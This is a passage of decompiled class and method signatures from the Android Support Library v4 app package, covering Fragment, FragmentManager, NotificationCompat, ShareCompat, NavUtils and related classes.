    public void NotificationCompatJellybean(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean, boolean, int, CharSequence);
    public void addAction(int, CharSequence, android.app.PendingIntent);
    public void addBigTextStyle(CharSequence, boolean, CharSequence, CharSequence);
    public void addBigPictureStyle(CharSequence, boolean, CharSequence, android.graphics.Bitmap, android.graphics.Bitmap, boolean);
    public void addInboxStyle(CharSequence, boolean, CharSequence, java.util.ArrayList);
    public android.app.Notification build();
}










android/support/v4/app/Fragment.class


package android.support.v4.app;
public synchronized class Fragment implements android.content.ComponentCallbacks, android.view.View$OnCreateContextMenuListener {
    private static final android.support.v4.util.SimpleArrayMap sClassMap;
    static final int INITIALIZING = 0;
    static final int CREATED = 1;
    static final int ACTIVITY_CREATED = 2;
    static final int STOPPED = 3;
    static final int STARTED = 4;
    static final int RESUMED = 5;
    int mState;
    android.view.View mAnimatingAway;
    int mStateAfterAnimating;
    android.os.Bundle mSavedFragmentState;
    android.util.SparseArray mSavedViewState;
    int mIndex;
    String mWho;
    android.os.Bundle mArguments;
    Fragment mTarget;
    int mTargetIndex;
    int mTargetRequestCode;
    boolean mAdded;
    boolean mRemoving;
    boolean mResumed;
    boolean mFromLayout;
    boolean mInLayout;
    boolean mRestored;
    int mBackStackNesting;
    FragmentManagerImpl mFragmentManager;
    FragmentActivity mActivity;
    FragmentManagerImpl mChildFragmentManager;
    Fragment mParentFragment;
    int mFragmentId;
    int mContainerId;
    String mTag;
    boolean mHidden;
    boolean mDetached;
    boolean mRetainInstance;
    boolean mRetaining;
    boolean mHasMenu;
    boolean mMenuVisible;
    boolean mCalled;
    int mNextAnim;
    android.view.ViewGroup mContainer;
    android.view.View mView;
    android.view.View mInnerView;
    boolean mDeferStart;
    boolean mUserVisibleHint;
    LoaderManagerImpl mLoaderManager;
    boolean mLoadersStarted;
    boolean mCheckedForLoaderManager;
    public void Fragment();
    public static Fragment instantiate(android.content.Context, String);
    public static Fragment instantiate(android.content.Context, String, android.os.Bundle);
    static boolean isSupportFragmentClass(android.content.Context, String);
    final void restoreViewState(android.os.Bundle);
    final void setIndex(int, Fragment);
    final boolean isInBackStack();
    public final boolean equals(Object);
    public final int hashCode();
    public String toString();
    public final int getId();
    public final String getTag();
    public void setArguments(android.os.Bundle);
    public final android.os.Bundle getArguments();
    public void setInitialSavedState(Fragment$SavedState);
    public void setTargetFragment(Fragment, int);
    public final Fragment getTargetFragment();
    public final int getTargetRequestCode();
    public final FragmentActivity getActivity();
    public final android.content.res.Resources getResources();
    public final CharSequence getText(int);
    public final String getString(int);
    public final transient String getString(int, Object[]);
    public final FragmentManager getFragmentManager();
    public final FragmentManager getChildFragmentManager();
    public final Fragment getParentFragment();
    public final boolean isAdded();
    public final boolean isDetached();
    public final boolean isRemoving();
    public final boolean isInLayout();
    public final boolean isResumed();
    public final boolean isVisible();
    public final boolean isHidden();
    public final boolean hasOptionsMenu();
    public final boolean isMenuVisible();
    public void onHiddenChanged(boolean);
    public void setRetainInstance(boolean);
    public final boolean getRetainInstance();
    public void setHasOptionsMenu(boolean);
    public void setMenuVisibility(boolean);
    public void setUserVisibleHint(boolean);
    public boolean getUserVisibleHint();
    public LoaderManager getLoaderManager();
    public void startActivity(android.content.Intent);
    public void startActivityForResult(android.content.Intent, int);
    public void onActivityResult(int, int, android.content.Intent);
    public android.view.LayoutInflater getLayoutInflater(android.os.Bundle);
    public void onInflate(android.app.Activity, android.util.AttributeSet, android.os.Bundle);
    public void onAttach(android.app.Activity);
    public android.view.animation.Animation onCreateAnimation(int, boolean, int);
    public void onCreate(android.os.Bundle);
    public android.view.View onCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    public void onViewCreated(android.view.View, android.os.Bundle);
    public android.view.View getView();
    public void onActivityCreated(android.os.Bundle);
    public void onViewStateRestored(android.os.Bundle);
    public void onStart();
    public void onResume();
    public void onSaveInstanceState(android.os.Bundle);
    public void onConfigurationChanged(android.content.res.Configuration);
    public void onPause();
    public void onStop();
    public void onLowMemory();
    public void onDestroyView();
    public void onDestroy();
    void initState();
    public void onDetach();
    public void onCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    public void onPrepareOptionsMenu(android.view.Menu);
    public void onDestroyOptionsMenu();
    public boolean onOptionsItemSelected(android.view.MenuItem);
    public void onOptionsMenuClosed(android.view.Menu);
    public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu$ContextMenuInfo);
    public void registerForContextMenu(android.view.View);
    public void unregisterForContextMenu(android.view.View);
    public boolean onContextItemSelected(android.view.MenuItem);
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    Fragment findFragmentByWho(String);
    void instantiateChildFragmentManager();
    void performCreate(android.os.Bundle);
    android.view.View performCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    void performActivityCreated(android.os.Bundle);
    void performStart();
    void performResume();
    void performConfigurationChanged(android.content.res.Configuration);
    void performLowMemory();
    boolean performCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    boolean performPrepareOptionsMenu(android.view.Menu);
    boolean performOptionsItemSelected(android.view.MenuItem);
    boolean performContextItemSelected(android.view.MenuItem);
    void performOptionsMenuClosed(android.view.Menu);
    void performSaveInstanceState(android.os.Bundle);
    void performPause();
    void performStop();
    void performReallyStop();
    void performDestroyView();
    void performDestroy();
    static void <clinit>();
}










android/support/v4/app/ActionBarDrawerToggle$1.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$1 {
}










android/support/v4/app/NotificationCompat$Style.class


package android.support.v4.app;
public abstract synchronized class NotificationCompat$Style {
    NotificationCompat$Builder mBuilder;
    CharSequence mBigContentTitle;
    CharSequence mSummaryText;
    boolean mSummaryTextSet;
    public void NotificationCompat$Style();
    public void setBuilder(NotificationCompat$Builder);
    public android.app.Notification build();
}










android/support/v4/app/ActionBarDrawerToggle.class


package android.support.v4.app;
public synchronized class ActionBarDrawerToggle implements android.support.v4.widget.DrawerLayout$DrawerListener {
    private static final ActionBarDrawerToggle$ActionBarDrawerToggleImpl IMPL;
    private static final float TOGGLE_DRAWABLE_OFFSET = 0.33333334;
    private static final int ID_HOME = 16908332;
    private final android.app.Activity mActivity;
    private final ActionBarDrawerToggle$Delegate mActivityImpl;
    private final android.support.v4.widget.DrawerLayout mDrawerLayout;
    private boolean mDrawerIndicatorEnabled;
    private android.graphics.drawable.Drawable mThemeImage;
    private android.graphics.drawable.Drawable mDrawerImage;
    private ActionBarDrawerToggle$SlideDrawable mSlider;
    private final int mDrawerImageResource;
    private final int mOpenDrawerContentDescRes;
    private final int mCloseDrawerContentDescRes;
    private Object mSetIndicatorInfo;
    public void ActionBarDrawerToggle(android.app.Activity, android.support.v4.widget.DrawerLayout, int, int, int);
    public void syncState();
    public void setDrawerIndicatorEnabled(boolean);
    public boolean isDrawerIndicatorEnabled();
    public void onConfigurationChanged(android.content.res.Configuration);
    public boolean onOptionsItemSelected(android.view.MenuItem);
    public void onDrawerSlide(android.view.View, float);
    public void onDrawerOpened(android.view.View);
    public void onDrawerClosed(android.view.View);
    public void onDrawerStateChanged(int);
    android.graphics.drawable.Drawable getThemeUpIndicator();
    void setActionBarUpIndicator(android.graphics.drawable.Drawable, int);
    void setActionBarDescription(int);
    static void <clinit>();
}










android/support/v4/app/ShareCompat$ShareCompatImpl.class


package android.support.v4.app;
abstract interface ShareCompat$ShareCompatImpl {
    public abstract void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public abstract String escapeHtml(CharSequence);
}










android/support/v4/app/ListFragment$2.class


package android.support.v4.app;
synchronized class ListFragment$2 implements android.widget.AdapterView$OnItemClickListener {
    void ListFragment$2(ListFragment);
    public void onItemClick(android.widget.AdapterView, android.view.View, int, long);
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImpl.class


package android.support.v4.app;
abstract interface ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    public abstract android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public abstract Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public abstract Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/ShareCompat$IntentReader.class


package android.support.v4.app;
public synchronized class ShareCompat$IntentReader {
    private static final String TAG = IntentReader;
    private android.app.Activity mActivity;
    private android.content.Intent mIntent;
    private String mCallingPackage;
    private android.content.ComponentName mCallingActivity;
    private java.util.ArrayList mStreams;
    public static ShareCompat$IntentReader from(android.app.Activity);
    private void ShareCompat$IntentReader(android.app.Activity);
    public boolean isShareIntent();
    public boolean isSingleShare();
    public boolean isMultipleShare();
    public String getType();
    public CharSequence getText();
    public String getHtmlText();
    public android.net.Uri getStream();
    public android.net.Uri getStream(int);
    public int getStreamCount();
    public String[] getEmailTo();
    public String[] getEmailCc();
    public String[] getEmailBcc();
    public String getSubject();
    public String getCallingPackage();
    public android.content.ComponentName getCallingActivity();
    public android.graphics.drawable.Drawable getCallingActivityIcon();
    public android.graphics.drawable.Drawable getCallingApplicationIcon();
    public CharSequence getCallingApplicationLabel();
}










android/support/v4/app/TaskStackBuilderJellybean.class


package android.support.v4.app;
synchronized class TaskStackBuilderJellybean {
    void TaskStackBuilderJellybean();
    public static android.app.PendingIntent getActivitiesPendingIntent(android.content.Context, int, android.content.Intent[], int, android.os.Bundle);
}










android/support/v4/app/NavUtils$NavUtilsImplBase.class


package android.support.v4.app;
synchronized class NavUtils$NavUtilsImplBase implements NavUtils$NavUtilsImpl {
    void NavUtils$NavUtilsImplBase();
    public android.content.Intent getParentActivityIntent(android.app.Activity);
    public boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public void navigateUpTo(android.app.Activity, android.content.Intent);
    public String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/NavUtils.class


package android.support.v4.app;
public synchronized class NavUtils {
    private static final String TAG = NavUtils;
    public static final String PARENT_ACTIVITY = android.support.PARENT_ACTIVITY;
    private static final NavUtils$NavUtilsImpl IMPL;
    public static boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public static void navigateUpFromSameTask(android.app.Activity);
    public static void navigateUpTo(android.app.Activity, android.content.Intent);
    public static android.content.Intent getParentActivityIntent(android.app.Activity);
    public static android.content.Intent getParentActivityIntent(android.content.Context, Class) throws android.content.pm.PackageManager$NameNotFoundException;
    public static android.content.Intent getParentActivityIntent(android.content.Context, android.content.ComponentName) throws android.content.pm.PackageManager$NameNotFoundException;
    public static String getParentActivityName(android.app.Activity);
    public static String getParentActivityName(android.content.Context, android.content.ComponentName) throws android.content.pm.PackageManager$NameNotFoundException;
    private void NavUtils();
    static void <clinit>();
}










android/support/v4/app/FragmentManagerImpl.class


package android.support.v4.app;
final synchronized class FragmentManagerImpl extends FragmentManager {
    static boolean DEBUG;
    static final String TAG = FragmentManager;
    static final boolean HONEYCOMB;
    static final String TARGET_REQUEST_CODE_STATE_TAG = android:target_req_state;
    static final String TARGET_STATE_TAG = android:target_state;
    static final String VIEW_STATE_TAG = android:view_state;
    static final String USER_VISIBLE_HINT_TAG = android:user_visible_hint;
    java.util.ArrayList mPendingActions;
    Runnable[] mTmpActions;
    boolean mExecutingActions;
    java.util.ArrayList mActive;
    java.util.ArrayList mAdded;
    java.util.ArrayList mAvailIndices;
    java.util.ArrayList mBackStack;
    java.util.ArrayList mCreatedMenus;
    java.util.ArrayList mBackStackIndices;
    java.util.ArrayList mAvailBackStackIndices;
    java.util.ArrayList mBackStackChangeListeners;
    int mCurState;
    FragmentActivity mActivity;
    FragmentContainer mContainer;
    Fragment mParent;
    boolean mNeedMenuInvalidate;
    boolean mStateSaved;
    boolean mDestroyed;
    String mNoTransactionsBecause;
    boolean mHavePendingDeferredStart;
    android.os.Bundle mStateBundle;
    android.util.SparseArray mStateArray;
    Runnable mExecCommit;
    static final android.view.animation.Interpolator DECELERATE_QUINT;
    static final android.view.animation.Interpolator DECELERATE_CUBIC;
    static final android.view.animation.Interpolator ACCELERATE_QUINT;
    static final android.view.animation.Interpolator ACCELERATE_CUBIC;
    static final int ANIM_DUR = 220;
    public static final int ANIM_STYLE_OPEN_ENTER = 1;
    public static final int ANIM_STYLE_OPEN_EXIT = 2;
    public static final int ANIM_STYLE_CLOSE_ENTER = 3;
    public static final int ANIM_STYLE_CLOSE_EXIT = 4;
    public static final int ANIM_STYLE_FADE_ENTER = 5;
    public static final int ANIM_STYLE_FADE_EXIT = 6;
    void FragmentManagerImpl();
    private void throwException(RuntimeException);
    public FragmentTransaction beginTransaction();
    public boolean executePendingTransactions();
    public void popBackStack();
    public boolean popBackStackImmediate();
    public void popBackStack(String, int);
    public boolean popBackStackImmediate(String, int);
    public void popBackStack(int, int);
    public boolean popBackStackImmediate(int, int);
    public int getBackStackEntryCount();
    public FragmentManager$BackStackEntry getBackStackEntryAt(int);
    public void addOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public void removeOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public void putFragment(android.os.Bundle, String, Fragment);
    public Fragment getFragment(android.os.Bundle, String);
    public java.util.List getFragments();
    public Fragment$SavedState saveFragmentInstanceState(Fragment);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    static android.view.animation.Animation makeOpenCloseAnimation(android.content.Context, float, float, float, float);
    static android.view.animation.Animation makeFadeAnimation(android.content.Context, float, float);
    android.view.animation.Animation loadAnimation(Fragment, int, boolean, int);
    public void performPendingDeferredStart(Fragment);
    void moveToState(Fragment, int, int, int, boolean);
    void moveToState(Fragment);
    void moveToState(int, boolean);
    void moveToState(int, int, int, boolean);
    void startPendingDeferredFragments();
    void makeActive(Fragment);
    void makeInactive(Fragment);
    public void addFragment(Fragment, boolean);
    public void removeFragment(Fragment, int, int);
    public void hideFragment(Fragment, int, int);
    public void showFragment(Fragment, int, int);
    public void detachFragment(Fragment, int, int);
    public void attachFragment(Fragment, int, int);
    public Fragment findFragmentById(int);
    public Fragment findFragmentByTag(String);
    public Fragment findFragmentByWho(String);
    private void checkStateLoss();
    public void enqueueAction(Runnable, boolean);
    public int allocBackStackIndex(BackStackRecord);
    public void setBackStackIndex(int, BackStackRecord);
    public void freeBackStackIndex(int);
    public boolean execPendingActions();
    void reportBackStackChanged();
    void addBackStackState(BackStackRecord);
    boolean popBackStackState(android.os.Handler, String, int, int);
    java.util.ArrayList retainNonConfig();
    void saveFragmentViewState(Fragment);
    android.os.Bundle saveFragmentBasicState(Fragment);
    android.os.Parcelable saveAllState();
    void restoreAllState(android.os.Parcelable, java.util.ArrayList);
    public void attachActivity(FragmentActivity, FragmentContainer, Fragment);
    public void noteStateNotSaved();
    public void dispatchCreate();
    public void dispatchActivityCreated();
    public void dispatchStart();
    public void dispatchResume();
    public void dispatchPause();
    public void dispatchStop();
    public void dispatchReallyStop();
    public void dispatchDestroyView();
    public void dispatchDestroy();
    public void dispatchConfigurationChanged(android.content.res.Configuration);
    public void dispatchLowMemory();
    public boolean dispatchCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    public boolean dispatchPrepareOptionsMenu(android.view.Menu);
    public boolean dispatchOptionsItemSelected(android.view.MenuItem);
    public boolean dispatchContextItemSelected(android.view.MenuItem);
    public void dispatchOptionsMenuClosed(android.view.Menu);
    public static int reverseTransit(int);
    public static int transitToStyleIndex(int, boolean);
    static void <clinit>();
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImplHC.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$ActionBarDrawerToggleImplHC implements ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    private void ActionBarDrawerToggle$ActionBarDrawerToggleImplHC();
    public android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/ActivityOptionsCompat$ActivityOptionsImplJB.class


package android.support.v4.app;
synchronized class ActivityOptionsCompat$ActivityOptionsImplJB extends ActivityOptionsCompat {
    private final ActivityOptionsCompatJB mImpl;
    void ActivityOptionsCompat$ActivityOptionsImplJB(ActivityOptionsCompatJB);
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompat);
}










android/support/v4/app/ShareCompat$ShareCompatImplBase.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplBase implements ShareCompat$ShareCompatImpl {
    void ShareCompat$ShareCompatImplBase();
    public void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public String escapeHtml(CharSequence);
    private static void withinStyle(StringBuilder, CharSequence, int, int);
}










android/support/v4/app/Fragment$SavedState.class


package android.support.v4.app;
public synchronized class Fragment$SavedState implements android.os.Parcelable {
    final android.os.Bundle mState;
    public static final android.os.Parcelable$Creator CREATOR;
    void Fragment$SavedState(android.os.Bundle);
    void Fragment$SavedState(android.os.Parcel, ClassLoader);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/FragmentManagerImpl$1.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$1 implements Runnable {
    void FragmentManagerImpl$1(FragmentManagerImpl);
    public void run();
}










android/support/v4/app/NotificationCompat$Action.class


package android.support.v4.app;
public synchronized class NotificationCompat$Action {
    public int icon;
    public CharSequence title;
    public android.app.PendingIntent actionIntent;
    public void NotificationCompat$Action(int, CharSequence, android.app.PendingIntent);
}










android/support/v4/app/ShareCompat$ShareCompatImplJB.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplJB extends ShareCompat$ShareCompatImplICS {
    void ShareCompat$ShareCompatImplJB();
    public String escapeHtml(CharSequence);
    boolean shouldAddChooserIntent(android.view.MenuItem);
}










android/support/v4/app/ActionBarDrawerToggleHoneycomb$SetIndicatorInfo.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggleHoneycomb$SetIndicatorInfo {
    public reflect.Method setHomeAsUpIndicator;
    public reflect.Method setHomeActionContentDescription;
    public android.widget.ImageView upIndicatorView;
    void ActionBarDrawerToggleHoneycomb$SetIndicatorInfo(android.app.Activity);
}










android/support/v4/app/BackStackState$1.class


package android.support.v4.app;
final synchronized class BackStackState$1 implements android.os.Parcelable$Creator {
    void BackStackState$1();
    public BackStackState createFromParcel(android.os.Parcel);
    public BackStackState[] newArray(int);
}










android/support/v4/app/NavUtils$NavUtilsImpl.class


package android.support.v4.app;
abstract interface NavUtils$NavUtilsImpl {
    public abstract android.content.Intent getParentActivityIntent(android.app.Activity);
    public abstract boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public abstract void navigateUpTo(android.app.Activity, android.content.Intent);
    public abstract String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/FragmentState$1.class


package android.support.v4.app;
final synchronized class FragmentState$1 implements android.os.Parcelable$Creator {
    void FragmentState$1();
    public FragmentState createFromParcel(android.os.Parcel);
    public FragmentState[] newArray(int);
}










android/support/v4/app/FragmentActivity$2.class


package android.support.v4.app;
synchronized class FragmentActivity$2 implements FragmentContainer {
    void FragmentActivity$2(FragmentActivity);
    public android.view.View findViewById(int);
}










android/support/v4/app/ActivityCompatHoneycomb.class


package android.support.v4.app;
synchronized class ActivityCompatHoneycomb {
    void ActivityCompatHoneycomb();
    static void invalidateOptionsMenu(android.app.Activity);
    static void dump(android.app.Activity, String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/app/Fragment$1.class


package android.support.v4.app;
synchronized class Fragment$1 implements FragmentContainer {
    void Fragment$1(Fragment);
    public android.view.View findViewById(int);
}










android/support/v4/app/NotificationCompat$BigTextStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$BigTextStyle extends NotificationCompat$Style {
    CharSequence mBigText;
    public void NotificationCompat$BigTextStyle();
    public void NotificationCompat$BigTextStyle(NotificationCompat$Builder);
    public NotificationCompat$BigTextStyle setBigContentTitle(CharSequence);
    public NotificationCompat$BigTextStyle setSummaryText(CharSequence);
    public NotificationCompat$BigTextStyle bigText(CharSequence);
}










android/support/v4/app/ActionBarDrawerToggle$DelegateProvider.class


package android.support.v4.app;
public abstract interface ActionBarDrawerToggle$DelegateProvider {
    public abstract ActionBarDrawerToggle$Delegate getDrawerToggleDelegate();
}










android/support/v4/app/ShareCompat$IntentBuilder.class


package android.support.v4.app;
public synchronized class ShareCompat$IntentBuilder {
    private android.app.Activity mActivity;
    private android.content.Intent mIntent;
    private CharSequence mChooserTitle;
    private java.util.ArrayList mToAddresses;
    private java.util.ArrayList mCcAddresses;
    private java.util.ArrayList mBccAddresses;
    private java.util.ArrayList mStreams;
    public static ShareCompat$IntentBuilder from(android.app.Activity);
    private void ShareCompat$IntentBuilder(android.app.Activity);
    public android.content.Intent getIntent();
    android.app.Activity getActivity();
    private void combineArrayExtra(String, java.util.ArrayList);
    private void combineArrayExtra(String, String[]);
    public android.content.Intent createChooserIntent();
    public void startChooser();
    public ShareCompat$IntentBuilder setChooserTitle(CharSequence);
    public ShareCompat$IntentBuilder setChooserTitle(int);
    public ShareCompat$IntentBuilder setType(String);
    public ShareCompat$IntentBuilder setText(CharSequence);
    public ShareCompat$IntentBuilder setHtmlText(String);
    public ShareCompat$IntentBuilder setStream(android.net.Uri);
    public ShareCompat$IntentBuilder addStream(android.net.Uri);
    public ShareCompat$IntentBuilder setEmailTo(String[]);
    public ShareCompat$IntentBuilder addEmailTo(String);
    public ShareCompat$IntentBuilder addEmailTo(String[]);
    public ShareCompat$IntentBuilder setEmailCc(String[]);
    public ShareCompat$IntentBuilder addEmailCc(String);
    public ShareCompat$IntentBuilder addEmailCc(String[]);
    public ShareCompat$IntentBuilder setEmailBcc(String[]);
    public ShareCompat$IntentBuilder addEmailBcc(String);
    public ShareCompat$IntentBuilder addEmailBcc(String[]);
    public ShareCompat$IntentBuilder setSubject(String);
}










android/support/v4/app/LoaderManagerImpl.class


package android.support.v4.app;
synchronized class LoaderManagerImpl extends LoaderManager {
    static final String TAG = LoaderManager;
    static boolean DEBUG;
    final android.support.v4.util.SparseArrayCompat mLoaders;
    final android.support.v4.util.SparseArrayCompat mInactiveLoaders;
    final String mWho;
    FragmentActivity mActivity;
    boolean mStarted;
    boolean mRetaining;
    boolean mRetainingStarted;
    boolean mCreatingLoader;
    void LoaderManagerImpl(String, FragmentActivity, boolean);
    void updateActivity(FragmentActivity);
    private LoaderManagerImpl$LoaderInfo createLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    private LoaderManagerImpl$LoaderInfo createAndInstallLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    void installLoader(LoaderManagerImpl$LoaderInfo);
    public android.support.v4.content.Loader initLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public android.support.v4.content.Loader restartLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public void destroyLoader(int);
    public android.support.v4.content.Loader getLoader(int);
    void doStart();
    void doStop();
    void doRetain();
    void finishRetain();
    void doReportNextStart();
    void doReportStart();
    void doDestroy();
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public boolean hasRunningLoaders();
    static void <clinit>();
}










android/support/v4/app/FragmentActivity$FragmentTag.class


package android.support.v4.app;
synchronized class FragmentActivity$FragmentTag {
    public static final int[] Fragment;
    public static final int Fragment_id = 1;
    public static final int Fragment_name = 0;
    public static final int Fragment_tag = 2;
    void FragmentActivity$FragmentTag();
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplJellybean.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplJellybean implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplJellybean();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/NotificationCompatIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationCompatIceCreamSandwich {
    void NotificationCompatIceCreamSandwich();
    static android.app.Notification add(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean);
}










android/support/v4/app/NotificationCompat$NotificationCompatImplIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplIceCreamSandwich implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplIceCreamSandwich();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/ShareCompatJB.class


package android.support.v4.app;
synchronized class ShareCompatJB {
    void ShareCompatJB();
    public static String escapeHtml(CharSequence);
}










android/support/v4/app/BackStackRecord.class


package android.support.v4.app;
final synchronized class BackStackRecord extends FragmentTransaction implements FragmentManager$BackStackEntry, Runnable {
    static final String TAG = FragmentManager;
    final FragmentManagerImpl mManager;
    static final int OP_NULL = 0;
    static final int OP_ADD = 1;
    static final int OP_REPLACE = 2;
    static final int OP_REMOVE = 3;
    static final int OP_HIDE = 4;
    static final int OP_SHOW = 5;
    static final int OP_DETACH = 6;
    static final int OP_ATTACH = 7;
    BackStackRecord$Op mHead;
    BackStackRecord$Op mTail;
    int mNumOp;
    int mEnterAnim;
    int mExitAnim;
    int mPopEnterAnim;
    int mPopExitAnim;
    int mTransition;
    int mTransitionStyle;
    boolean mAddToBackStack;
    boolean mAllowAddToBackStack;
    String mName;
    boolean mCommitted;
    int mIndex;
    int mBreadCrumbTitleRes;
    CharSequence mBreadCrumbTitleText;
    int mBreadCrumbShortTitleRes;
    CharSequence mBreadCrumbShortTitleText;
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public void dump(String, java.io.PrintWriter, boolean);
    public void BackStackRecord(FragmentManagerImpl);
    public int getId();
    public int getBreadCrumbTitleRes();
    public int getBreadCrumbShortTitleRes();
    public CharSequence getBreadCrumbTitle();
    public CharSequence getBreadCrumbShortTitle();
    void addOp(BackStackRecord$Op);
    public FragmentTransaction add(Fragment, String);
    public FragmentTransaction add(int, Fragment);
    public FragmentTransaction add(int, Fragment, String);
    private void doAddOp(int, Fragment, String, int);
    public FragmentTransaction replace(int, Fragment);
    public FragmentTransaction replace(int, Fragment, String);
    public FragmentTransaction remove(Fragment);
    public FragmentTransaction hide(Fragment);
    public FragmentTransaction show(Fragment);
    public FragmentTransaction detach(Fragment);
    public FragmentTransaction attach(Fragment);
    public FragmentTransaction setCustomAnimations(int, int);
    public FragmentTransaction setCustomAnimations(int, int, int, int);
    public FragmentTransaction setTransition(int);
    public FragmentTransaction setTransitionStyle(int);
    public FragmentTransaction addToBackStack(String);
    public boolean isAddToBackStackAllowed();
    public FragmentTransaction disallowAddToBackStack();
    public FragmentTransaction setBreadCrumbTitle(int);
    public FragmentTransaction setBreadCrumbTitle(CharSequence);
    public FragmentTransaction setBreadCrumbShortTitle(int);
    public FragmentTransaction setBreadCrumbShortTitle(CharSequence);
    void bumpBackStackNesting(int);
    public int commit();
    public int commitAllowingStateLoss();
    int commitInternal(boolean);
    public void run();
    public void popFromBackStack(boolean);
    public String getName();
    public int getTransition();
    public int getTransitionStyle();
    public boolean isEmpty();
}










android/support/v4/app/NotificationCompat$NotificationCompatImpl.class


package android.support.v4.app;
abstract interface NotificationCompat$NotificationCompatImpl {
    public abstract android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/ActivityOptionsCompatJB.class


package android.support.v4.app;
synchronized class ActivityOptionsCompatJB {
    private final android.app.ActivityOptions mActivityOptions;
    public static ActivityOptionsCompatJB makeCustomAnimation(android.content.Context, int, int);
    public static ActivityOptionsCompatJB makeScaleUpAnimation(android.view.View, int, int, int, int);
    public static ActivityOptionsCompatJB makeThumbnailScaleUpAnimation(android.view.View, android.graphics.Bitmap, int, int);
    private void ActivityOptionsCompatJB(android.app.ActivityOptions);
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompatJB);
}










android/support/v4/app/FragmentManager.class


package android.support.v4.app;
public abstract synchronized class FragmentManager {
    public static final int POP_BACK_STACK_INCLUSIVE = 1;
    public void FragmentManager();
    public abstract FragmentTransaction beginTransaction();
    public FragmentTransaction openTransaction();
    public abstract boolean executePendingTransactions();
    public abstract Fragment findFragmentById(int);
    public abstract Fragment findFragmentByTag(String);
    public abstract void popBackStack();
    public abstract boolean popBackStackImmediate();
    public abstract void popBackStack(String, int);
    public abstract boolean popBackStackImmediate(String, int);
    public abstract void popBackStack(int, int);
    public abstract boolean popBackStackImmediate(int, int);
    public abstract int getBackStackEntryCount();
    public abstract FragmentManager$BackStackEntry getBackStackEntryAt(int);
    public abstract void addOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public abstract void removeOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public abstract void putFragment(android.os.Bundle, String, Fragment);
    public abstract Fragment getFragment(android.os.Bundle, String);
    public abstract java.util.List getFragments();
    public abstract Fragment$SavedState saveFragmentInstanceState(Fragment);
    public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public static void enableDebugLogging(boolean);
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImpl.class


package android.support.v4.app;
abstract interface TaskStackBuilder$TaskStackBuilderImpl {
    public abstract android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/NotificationCompatHoneycomb.class


package android.support.v4.app;
synchronized class NotificationCompatHoneycomb {
    void NotificationCompatHoneycomb();
